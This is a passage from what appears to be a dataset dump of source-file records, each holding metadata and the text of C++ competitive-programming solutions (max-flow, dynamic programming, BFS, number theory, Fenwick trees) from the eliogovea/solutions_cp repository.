next[x] = last[x]; last[x] = E++;\r\n\t\t}\r\n\t\tfor (int i = 0, a, b; i < m; i++) {\r\n\t\t\tscanf(\"%d%d\", &a, &b);\r\n\t\t\tady[E] = b; cap[E] = 1; flow[E] = 0; next[E] = last[a]; last[a] = E++;\r\n \t\t\tady[E] = a; cap[E] = 1; flow[E] = 0; next[E] = last[b]; last[b] = E++;\r\n\t\t}\r\n\t\tprintf(\"%d\\n\", maxFlow());\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.36103153228759766, "alphanum_fraction": 0.3717764914035797, "avg_line_length": 20.516128540039062, "blob_id": "153222166c205c7fa962203a636b0ca067c25000", "content_id": "795cd5c6306be22f30a4a1fc1a7bedec4b12d61a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1396, "license_type": "no_license", "max_line_length": 84, "num_lines": 62, "path": "/COJ/eliogovea-cojAC/eliogovea-p2367-Accepted-s567600.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<algorithm>\r\nusing namespace std;\r\n\r\nstruct point {\r\n\tint x, y;\r\n\tpoint(){}\r\n\tpoint( int a, int b ) {\r\n x = a;\r\n y = b;\r\n\t}\r\n};\r\n\r\nconst int MAXN = 40;\r\n\r\nint cas,n,ii,jj,kk,mx;\r\npoint p[MAXN];\r\n\r\ndouble ab( double x ) {\r\n\tif( x < 0 ) return -1.0 * x;\r\n\treturn x;\r\n}\r\n\r\n/*int dist2( point a, point b ) {\r\n return ( a.x - b.x ) * ( a.x - b.x ) + ( a.y - b.y ) * ( a.y - b.y );\r\n}\r\n\r\nint dist3( point a, point b, point c ) {\r\n return dist2( a, b ) + dist2( b, c ) + dist2( a, c );\r\n}*/\r\n\r\ndouble area( point a, point b, point c ) {\r\n\treturn ab( ( b.x - a.x ) * ( c.y - a.y ) - ( b.y - a.y ) * ( c.x - a.x ) );\r\n}\r\n\r\nint main() {\r\n\tfor( scanf( \"%d\", &cas ); cas--; ) {\r\n\t\tscanf( \"%d\", &n );\r\n\t\tmx = 0;\r\n\t\tfor( int i = 0; i < n; i++ ) scanf( \"%d%d\", &p[i].x, &p[i].y );\r\n\r\n\t\tfor( int i = 0; i < n; i++ )\r\n\t\t\tfor( int j = i + 1; j < n; j++ )\r\n\t\t\t\tfor( int k = j + 1; k < n; k++ ) {\r\n //printf( \"%d %d %d %lf\\n\", i, j, k, area( p[i], p[j], p[k] ) );\r\n\t\t\t\t\tif( area( p[i], p[j], p[k] ) > mx ) {\r\n\t\t\t\t\t\tmx = area( p[i], p[j], p[k] );\r\n\t\t\t\t\t\tii = i;\r\n\t\t\t\t\t\tjj = j;\r\n\t\t\t\t\t\tkk = k;\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse if( area( p[i], p[j], p[k] ) == mx ) {\r\n\t\t\t\t\t\tif( i < ii || ( i == ii && j < jj ) || ( i == ii && j == jj && k < kk ) ) {\r\n\t\t\t\t\t\t\tii = i;\r\n\t\t\t\t\t\t\tjj = j;\r\n\t\t\t\t\t\t\tkk = k;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\tprintf( \"%d %d %d\\n\", ii, jj, kk );\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3628571331501007, "alphanum_fraction": 0.37714284658432007, "avg_line_length": 14.666666984558105, "blob_id": "1727e3f301221b5d7c53f277e1ae45d825cd610b", "content_id": "c95982e86538ce9c717f6c323ed7818638f727df", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 700, "license_type": "no_license", "max_line_length": 36, "num_lines": 42, "path": "/COJ/eliogovea-cojAC/eliogovea-p3259-Accepted-s796256.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(false);\r\n\tint n, m;\r\n\tstring s;\r\n\tcin >> n >> m;\r\n\tint maxx = -1;\r\n\tint maxy = -1;\r\n\tint minx = n;\r\n\tint miny = m;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> s;\r\n\t\tfor (int j = 0; j < m; j++) {\r\n\t\t\tif (s[j] == '1') {\r\n\t\t\t\tif (i > maxx) {\r\n\t\t\t\t\tmaxx = i;\r\n\t\t\t\t}\r\n\t\t\t\tif (i < minx) {\r\n\t\t\t\t\tminx = i;\r\n\t\t\t\t}\r\n\t\t\t\tif (j > maxy) {\r\n\t\t\t\t\tmaxy = j;\r\n\t\t\t\t}\r\n\t\t\t\tif (j < miny) {\r\n\t\t\t\t\tminy = j;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tif (maxx == -1) {\r\n\t\tcout << \"0\\n\";\r\n\t} else {\r\n\t\tint dx = maxx - minx + 1;\r\n\t\tint dy = maxy - miny + 1;\r\n\t\t//cout << dx << \" \" << dy << \"\\n\";\r\n\t\tcout << 2 * (dx + dy) << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3265993297100067, "alphanum_fraction": 0.3653198778629303, "avg_line_length": 19.214284896850586, "blob_id": "c4e30e091ce18d390c63c481631fdd863914aaad", "content_id": "f3771917c665f3c723217ed17e6c02b1f458793a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 594, "license_type": "no_license", "max_line_length": 63, "num_lines": 28, "path": "/COJ/eliogovea-cojAC/eliogovea-p3330-Accepted-s861081.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\n\r\nint n, m;\r\nstring a, b;\r\nlong long dp[15][100005];\r\n\r\nconst long long MOD = 1e9 + 7;\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n cin.tie(0);\r\n //freopen(\"dat.txt\", \"r\", stdin);\r\n cin >> n >> m >> a >> b;\r\n dp[0][0] = 1;\r\n for (int i = 1; i <= m; i++) {\r\n for (int j = 0; j <= n; j++) {\r\n dp[j][i] = dp[j][i - 1];\r\n if (j != 0 && b[i - 1] == a[j - 1]) {\r\n dp[j][i] = (dp[j][i] + dp[j - 1][i - 1]) % MOD;\r\n }\r\n }\r\n }\r\n\r\n cout << dp[n][m] << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.43155452609062195, "alphanum_fraction": 0.45011600852012634, "avg_line_length": 13.672727584838867, "blob_id": "030747882e69f9d71d6043e1993a07bd3ac56b26", "content_id": "b2cbfb64902cd6afc7724fda337ba2ba7af1ea00", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 862, "license_type": "no_license", "max_line_length": 33, "num_lines": 55, "path": "/COJ/eliogovea-cojAC/eliogovea-p3141-Accepted-s898658.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int INF = 2e9;\r\nconst int N = 100005;\r\n\r\nint n;\r\nint cap[N], lev[N], next[N];\r\nint q;\r\nint t, a, b;\r\n\r\nint find_next(int id) {\r\n\tif (next[id] != id) {\r\n\t\tnext[id] = find_next(next[id]);\r\n\t}\r\n\treturn next[id];\r\n}\r\n\r\nvoid func(int id, int vol) {\r\n\tif (id == n + 1) {\r\n\t\treturn;\r\n\t}\r\n\tif (lev[id] + vol <= cap[id]) {\r\n\t\tlev[id] += vol;\r\n\t\treturn;\r\n\t}\r\n\tvol = vol - (cap[id] - lev[id]);\r\n\tlev[id] = cap[id];\r\n\tnext[id] = find_next(id + 1);\r\n\tfunc(next[id], vol);\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tcin >> cap[i];\r\n\t\tlev[i] = 0;\r\n\t\tnext[i] = i;\r\n\t}\r\n\tnext[n + 1] = n + 1;\r\n\tcin >> q;\r\n\twhile (q--) {\r\n\t\tcin >> t;\r\n\t\tif (t == 1) {\r\n\t\t\tcin >> a;\r\n\t\t\tcout << lev[a] << \"\\n\";\r\n\t\t} else {\r\n\t\t\tcin >> a >> b;\r\n\t\t\tfunc(a, b);\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4015645384788513, "alphanum_fraction": 0.4576271176338196, "avg_line_length": 14.319149017333984, "blob_id": "96c5d2c6a224fec5155c4ad7e7161c4f910f604d", "content_id": "53d7e7a0c58551b476cc215a85c7016787322990", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 767, "license_type": "no_license", "max_line_length": 76, "num_lines": 47, "path": "/COJ/eliogovea-cojAC/eliogovea-p1385-Accepted-s537752.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<algorithm>\r\n#include<queue>\r\nusing namespace std;\r\n\r\ntypedef pair<int,int> pii;\r\n\r\nconst int mov[8][2]={{1,0},{-1,0},{0,1},{0,-1},{1,1},{1,-1},{-1,1},{-1,-1}};\r\n\r\nchar mat[110][110];\r\nint R,C,x,y,ans,dx,dy,m1[110][110];\r\nqueue<pii> Q;\r\n\r\nint main()\r\n{\r\n\tscanf(\"%d%d%d%d\",&C,&R,&x,&y);\r\n\r\n\tfor(int i=1; i<=R; i++)\r\n scanf(\"%s\",mat[i]+1);\r\n\r\n y=R+1-y;\r\n\r\n\tQ.push(pii(y,x));\r\n\tmat[y][x]='*';\r\n\r\n\twhile(!Q.empty())\r\n\t{\r\n\t\tx=Q.front().first;\r\n\t\ty=Q.front().second;\r\n\t\tQ.pop();\r\n\r\n\t\tfor(int i=0; i<8; i++)\r\n\t\t{\r\n\t\t\tdx=x+mov[i][0];\r\n\t\t\tdy=y+mov[i][1];\r\n\r\n\t\t\tif(mat[dx][dy]=='.')\r\n\t\t\t\t\tmat[dx][dy]='*',\r\n\t\t\t\t\tm1[dx][dy]=m1[x][y]+1,\r\n\t\t\t\t\tans=max(ans,m1[dx][dy]),\r\n\t\t\t\t\tQ.push(pii(dx,dy));\r\n\t\t}\r\n\t}\r\n\r\n\tprintf(\"%d\\n\",ans);\r\n\treturn 0;\r\n}\r\n" }, { "alpha_fraction": 0.432372510433197, "alphanum_fraction": 0.4595343768596649, "avg_line_length": 23.77142906188965, "blob_id": "a0f7f899866f8a6d75a44bf6ae7b239f9842f12c", "content_id": "a2c9cd3880dab9f3c9118246296597e63fc52bf0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1804, "license_type": "no_license", "max_line_length": 71, "num_lines": 70, "path": "/COJ/eliogovea-cojAC/eliogovea-p2810-Accepted-s609766.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <cstring>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nconst int MAXLEN = 40, MAXN = 2500, MAXE = 10000;\r\n\r\nint n, m, mat[MAXLEN][MAXLEN], ind = 1, source, sink;\r\nint ady[MAXE], cap[MAXE], flow[MAXE], next[MAXE], last[MAXE], E;\r\nint id, used[MAXN];\r\nchar line[MAXLEN];\r\n\r\ninline void addEdge(int a, int b) {\r\n\tady[E] = b; cap[E] = 1; flow[E] = 0; next[E] = last[a]; last[a] = E++;\r\n\tady[E] = a; cap[E] = 0; flow[E] = 0; next[E] = last[b]; last[b] = E++;\r\n}\r\n\r\nint dfs(int u, int currFlow) {\r\n\tif (u == sink) return currFlow;\r\n\tif (used[u] == id) return 0;\r\n\tused[u] = id;\r\n\tfor (int e = last[u]; e != -1; e = next[e])\r\n\t\tif (cap[e] > flow[e]) {\r\n\t\t\tint res = dfs(ady[e], min(currFlow, cap[e] - flow[e]));\r\n\t\t\tif (res > 0) {\r\n\t\t\t\tflow[e] += res;\r\n\t\t\t\tflow[e ^ 1] -= res;\r\n\t\t\t\treturn res;\r\n\t\t\t}\r\n\t\t}\r\n\treturn 0;\r\n}\r\n\r\nint maxFlow() {\r\n\tint f, flow = 0;\r\n\twhile (true) {\r\n\t\tid++;\r\n\t\tf = dfs(source, 1 << 29);\r\n\t\tif (f == 0) return flow;\r\n\t\tflow += f;\r\n\t}\r\n}\r\n\r\nint main() {\r\n\tscanf(\"%d\", &n);\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tscanf(\"%s\", line);\r\n\t\tif (m == 0) {\r\n\t\t\tm = strlen(line);\r\n\t\t\tsource = 0;\r\n\t\t\tsink = 2 * n * m + 1;\r\n\t\t\tfor (int i = 0; i <= sink; i++) last[i] = -1;\r\n\t\t}\r\n\t\tfor (int j = 0; j < m; j++) {\r\n\t\t\tmat[i][j] = ind++;\r\n\t\t\taddEdge(mat[i][j], n * m + mat[i][j]);\r\n\t\t\tif (line[j] == '1') addEdge(source, mat[i][j]);\r\n\t\t\tif (i == 0 || j == 0 || i == n - 1 || j == m - 1)\r\n\t\t\t\taddEdge(n * m + mat[i][j], sink);\r\n\t\t}\r\n\t}\r\n\tfor (int i = 0; i < n; i++)\r\n\t\tfor (int j = 0; j < m; j++) {\r\n\t\t\tif (i > 0) addEdge(n * m + mat[i][j], mat[i - 1][j]);\r\n\t\t\tif (j > 0) addEdge(n * m + mat[i][j], mat[i][j - 1]);\r\n\t\t\tif (i < n - 1) addEdge(n * m + mat[i][j], mat[i + 1][j]);\r\n\t\t\tif (j < m - 1) addEdge(n * m + mat[i][j], mat[i][j + 1]);\r\n\t\t}\r\n\tprintf(\"%d\\n\", maxFlow());\r\n}\r\n" }, { "alpha_fraction": 0.39525139331817627, "alphanum_fraction": 0.4287709593772888, "avg_line_length": 14.651163101196289, "blob_id": "6d7eff70e87b9ff62432dea05593db90a778b99e", "content_id": "aaeb41942e5ebc4e4b95e97ad16158b2a886d420", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 716, "license_type": "no_license", "max_line_length": 40, "num_lines": 43, "path": "/COJ/eliogovea-cojAC/eliogovea-p2588-Accepted-s657336.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst ll mod = 1000000007;\r\n\r\nstring s;\r\nll k;\r\n\r\nll power(ll x, ll n) {\r\n\tll r = 1;\r\n\twhile (n) {\r\n\t\tif (n & 1ll) r = (r * x) % mod;\r\n\t\tx = (x * x) % mod;\r\n\t\tn >>= 1ll;\r\n\t}\r\n\treturn r;\r\n}\r\n\r\nll solve() {\r\n\tll sz = s.size();\r\n\tll r = 0;\r\n\tfor (int i = 0; s[i]; i++)\r\n\t\tif (s[i] == '0' || s[i] == '5') {\r\n\t\t\tll a = power(2, i);\r\n\t\t\tll b = power(2, sz);\r\n\t\t\tll c = (power(b, k) - 1 + mod) % mod;\r\n\t\t\tll d = power(b - 1, mod - 2);\r\n\t\t\tll e = (a * c) % mod;\r\n\t\t\te = (e * d) % mod;\r\n\t\t\tr = (r + e) % mod;\r\n\t\t}\r\n\treturn r;\r\n}\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n cin.tie(0); cout.tie(0);\r\n\tcin >> s >> k;\r\n\tcout << solve() << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.32692307233810425, "alphanum_fraction": 0.3640109896659851, "avg_line_length": 17.157894134521484, "blob_id": "10fc8ed2a449957d116d6150663fb3672bc24a85", "content_id": "1f99bc94f8eb142d38b6ec66b113e6401e58c353", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 728, "license_type": "no_license", "max_line_length": 51, "num_lines": 38, "path": "/COJ/eliogovea-cojAC/eliogovea-p1557-Accepted-s903984.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint t, n, x[25][25];\r\nlong long dp[(1 << 20) + 5];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> n;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tfor (int j = 0; j < n; j++) {\r\n\t\t\t\tcin >> x[i][j];\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (int mask = 0; mask < (1 << n); mask++) {\r\n\t\t\tdp[mask] = 0;\r\n\t\t}\r\n\t\tdp[0] = 1;\r\n\t\tfor (int mask = 0; mask < (1 << n) - 1; mask++) {\r\n\t\t\tint pos = 0;\r\n\t\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\t\tif (mask & (1 << i)) {\r\n\t\t\t\t\tpos++;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\t\tif (x[pos][i] && !(mask & (1 << i))) {\r\n\t\t\t\t\tdp[mask | (1 << i)] += dp[mask];\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << dp[(1 << n) - 1] << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3826850652694702, "alphanum_fraction": 0.4278544485569, "avg_line_length": 16.711111068725586, "blob_id": "a19a6d9122f51dc032de0db0361819b358bf5fed", "content_id": "6557b2db4616146e02ba50e7fb411ba48287e9a1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 797, "license_type": "no_license", "max_line_length": 61, "num_lines": 45, "path": "/Codeforces-Gym/100699 - Stanford ProCo 2015/N4.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Stanford ProCo 2015\n// 100699N4\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint n;\nint par[105], val[105];\nint cnt[105], sum[105];\n\nvector<int> g[105];\n\nint ans = -1;\n\nvoid dfs(int u) {\n cnt[u] = 1;\n sum[u] = val[u];\n for (int i = 0; i < g[u].size(); i++) {\n int v = g[u][i];\n if (v == par[u]) {\n continue;\n }\n dfs(v);\n cnt[u] += cnt[v];\n sum[u] += sum[v];\n }\n if (ans == -1 || sum[u] * cnt[ans] > sum[ans] * cnt[u]) {\n ans = u;\n }\n}\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n cin >> n;\n for (int i = 1; i <= n; i++) {\n cin >> par[i] >> val[i];\n g[par[i]].push_back(i);\n }\n dfs(1);\n\n cout.precision(3);\n cout << fixed << 1.0 * sum[ans] / cnt[ans] << \"\\n\";\n}\n" }, { "alpha_fraction": 0.4875621795654297, "alphanum_fraction": 0.5024875402450562, "avg_line_length": 14.75, "blob_id": "67b19dead7ea8010e3d10a0dfbeb2f0a034c0715", "content_id": "c700e1254722a0286b21fa00fe3c9700e81501a7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 201, "license_type": "no_license", "max_line_length": 71, "num_lines": 12, "path": "/COJ/eliogovea-cojAC/eliogovea-p3075-Accepted-s745351.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <cmath>\r\n\r\nusing namespace std;\r\n\r\ndouble r;\r\n\r\nint main() {\r\n\tcin >> r;\r\n\tcout.precision(6);\r\n\tcout << fixed << M_PI * r * r << \"\\n\" << fixed << 2.0 * r * r << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.28606119751930237, "alphanum_fraction": 0.3064594566822052, "avg_line_length": 16.016529083251953, "blob_id": "7d08cd18a8bc9d00f8392ea782d49cc8f5490e73", "content_id": "ebd50a77475e4d48171f558dec0f2d3f409c01c8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2059, "license_type": "no_license", "max_line_length": 49, "num_lines": 121, "path": "/Caribbean-Training-Camp-2018/Contest_2/Solutions/A2.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long LL;\n\nint phi(int n) {\n int res = n;\n for (int i = 2; i * i <= n; i++) {\n if (n % i == 0) {\n res -= res / i;\n while (n % i == 0) {\n n /= i;\n }\n }\n }\n if (n > 1) {\n res -= res / n;\n }\n return res;\n}\n\nint cnt(int n) {\n int res = 1;\n for (int i = 2; i * i <= n; i++) {\n if (n % i == 0) {\n int e = 0;\n while (n % i == 0) {\n e++;\n n /= i;\n }\n res *= (e + 1);\n }\n }\n if (n > 1) {\n res *= 2;\n }\n return res;\n}\n\nLL sum(int n) {\n LL res = 1;\n for (int i = 2; i * i <= n; i++) {\n if (n % i == 0) {\n LL p = 1;\n while (n % i == 0) {\n p *= (LL)i;\n n /= i;\n }\n res *= ((LL)p * i - 1LL) / (i - 1LL);\n }\n }\n if (n > 1) {\n res *= (1LL + (LL)n);\n }\n return res;\n}\n\ninline int power(int x, int n, int m) {\n int y = 1;\n while (n) {\n if (n & 1) {\n y = (long long)y * x % m;\n }\n x = (long long)x * x % m;\n n >>= 1;\n }\n return y;\n}\n\nint inverse(int x, int n) {\n if (__gcd(x, n) != 1) {\n return -1;\n }\n int p = phi(n);\n int ix = power(x, p - 1, n);\n assert(((long long)x * ix % n) == 1);\n return power(x, p - 1, n);\n}\n\nLL egcd(LL a, LL b, LL & x, LL & y) {\n if (a == 0) {\n x = 0;\n y = 1;\n return b;\n }\n LL x1, y1;\n LL g = egcd(b % a, a, x1, y1);\n x = y1 - (b / a) * x1;\n y = x1;\n return g;\n}\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n LL a, b, n, m;\n cin >> a >> b >> n >> m;\n\n LL x, y;\n LL g = egcd(n, m, x, y);\n\n x %= m;\n if (x < 0) {\n x += m;\n }\n\n y %= n;\n if (y < 0) {\n y += n;\n }\n\n const LL M = n * m;\n\n LL c = (a * y * m) % M;\n LL d = (b * x * n) % M;\n\n LL ans = (c + d) % M;\n cout << ans << \"\\n\";\n}\n" }, { "alpha_fraction": 0.3838028311729431, "alphanum_fraction": 0.4507042169570923, "avg_line_length": 20.719999313354492, "blob_id": "ad4b7085f29997d4c6702bb0ce2f03a22c4dd224", "content_id": "4e9eab5138a12da6b348ffb02990d4b29aa7f6ad", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 568, "license_type": "no_license", "max_line_length": 79, "num_lines": 25, "path": "/COJ/eliogovea-cojAC/eliogovea-p3173-Accepted-s904704.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst double EPS = 1e-9;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tint x1, x2, y1, y2;\r\n\tdouble\td;\r\n\tcin >> x1 >> y1 >> x2 >> y2 >> d;\r\n\tint y = min(y1, y2);\r\n\tint ans = 0;\r\n\tfor (int x = -500; x <= 500; x++) {\r\n\t\tfor (int y = -500; y <= 500; y++) {\r\n\t\t\tdouble d1 = sqrt((double)(x - x1) * (x - x1) + (double)(y - y1) * (y - y1));\r\n\t\t\tdouble d2 = sqrt((double)(x - x2) * (x - x2) + (double)(y - y2) * (y - y2));\r\n\t\t\tif (d1 + d2 + EPS < d) {\r\n\t\t\t\tans++;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.29725828766822815, "alphanum_fraction": 0.3232323229312897, "avg_line_length": 20.65625, "blob_id": "3c13345a3a11dd1ceb6d64b0079ca9c3132d214f", "content_id": "576b24136023504fe9ed32ec4051c4a048e09cac", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 693, "license_type": "no_license", "max_line_length": 57, "num_lines": 32, "path": "/Codeforces-Gym/100541 - 2014 ACM-ICPC Vietnam National Second Round/A.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014 ACM-ICPC Vietnam National Second Round\n// 100541A\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint t, n, w, p[105];\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n cin >> t;\n while (t--) {\n cin >> n >> w;\n for (int i = 1; i <= n; i++) {\n cin >> p[i];\n }\n int ans = 0;\n for (int i = 1; i <= n; i++) {\n for (int j = i + 1; j <= n; j++) {\n if (p[j] > p[i]) {\n int tmp = (p[j] - p[i]) * (w / p[i]);\n if (tmp > ans) {\n ans = tmp;\n }\n }\n }\n }\n cout << ans << \"\\n\";\n }\n}\n" }, { "alpha_fraction": 0.4124700129032135, "alphanum_fraction": 0.4316546618938446, "avg_line_length": 13.344827651977539, "blob_id": "7c64ed1a9fcead3227e0c64dcc39cbac36faabef", "content_id": "eb766b53f282d004298a5d7b34a45b5114e55548", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 417, "license_type": "no_license", "max_line_length": 42, "num_lines": 29, "path": "/Codechef/EGRANDR.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tint t;\n\tcin >> t;\n\twhile (t--) {\n\t\tint n;\n\t\tcin >> n;\n\t\tint sum = 0;\n\t\tint mn = 5;\n\t\tint mx = 2;\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tint x;\n\t\t\tcin >> x;\n\t\t\tsum += x;\n\t\t\tmn = min(mn, x);\n\t\t\tmx = max(mx, x);\n\t\t}\n\t\tif (mn > 2 && mx == 5 && sum >= 4 * n) {\n\t\t\tcout << \"Yes\\n\";\n\t\t} else {\n\t\t\tcout << \"No\\n\";\n\t\t}\n\t}\n}\n\n" }, { "alpha_fraction": 0.38969072699546814, "alphanum_fraction": 0.41649484634399414, "avg_line_length": 15.01754379272461, "blob_id": "e0314a6b8628149069f0d2138ea15c4b437f063d", "content_id": "65f7eb4aa2c00fecb54842113ca2ee632d7e1d96", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 970, "license_type": "no_license", "max_line_length": 52, "num_lines": 57, "path": "/COJ/eliogovea-cojAC/eliogovea-p3721-Accepted-s1009557.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint p[] = {2, 3, 5, 7, 11, 13, 17, 19};\r\n\r\nint t;\r\nstring s;\r\nint cnt[300];\r\n\r\ninline int get(int n, int x) {\r\n\tint res = 0;\r\n\tint xx = x;\r\n\twhile (xx <= n) {\r\n\t\tres += n / xx;\r\n\t\txx *= x;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nlong long power(long long x, int n) {\r\n\tlong long res = 1;\r\n\twhile (n) {\r\n\t\tif (n & 1) {\r\n\t\t\tres *= x;\r\n\t\t}\r\n\t\tx *= x;\r\n\t\tn >>= 1;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> t;\r\n\tfor (int cas = 1; cas <= t; cas++) {\r\n\t\tcin >> s;\r\n\t\tfor (int i = 'A'; i <= 'Z'; i++) {\r\n\t\t\tcnt[i] = 0;\r\n\t\t}\r\n\t\tfor (int i = 0; i < s.size(); i++) {\r\n\t\t\tcnt[s[i]]++;\r\n\t\t}\r\n\t\tlong long ans = 1LL;\r\n\t\tfor (int i = 0; i < 8; i++) {\r\n\t\t\tint pp = p[i];\r\n\t\t\tint e = get(s.size(), pp);\r\n\t\t\tfor (int j = 'A'; j <= 'Z'; j++) {\r\n\t\t\t\te -= get(cnt[j], pp);\r\n\t\t\t}\r\n\t\t\tans *= power(pp, e);\r\n\t\t}\r\n\t\tcout << \"Data set \" << cas << \": \" << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4159519672393799, "alphanum_fraction": 0.43825042247772217, "avg_line_length": 13.546667098999023, "blob_id": "41d94e9023301cf653998db38467014c7cde0fbf", "content_id": "ee468898cd926ef363751db9be26aecd00abf7ae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1166, "license_type": "no_license", "max_line_length": 50, "num_lines": 75, "path": "/COJ/eliogovea-cojAC/eliogovea-p3360-Accepted-s827138.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nstruct event {\r\n\tint val, pos, id;\r\n\tint st, en;\r\n};\r\n\r\nbool operator < (const event &a, const event &b) {\r\n\tif (a.val != b.val) {\r\n\t\treturn a.val > b.val;\r\n\t}\r\n\treturn a.id > b.id;\r\n}\r\n\r\nint n, q;\r\nint h[1005];\r\nvector<event> E;\r\nevent e;\r\n\r\nint bit[1005];\r\n\r\nvoid update(int p, int v) {\r\n\twhile (p <= n) {\r\n\t\tbit[p] += v;\r\n\t\tp += p & -p;\r\n\t}\r\n}\r\n\r\nint query(int p) {\r\n\tint res = 0;\r\n\twhile (p > 0) {\r\n\t\tres += bit[p];\r\n\t\tp -= p & -p;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint ans[1000005];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n >> q;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tcin >> h[i];\r\n\t\te.val = h[i];\r\n\t\te.pos = 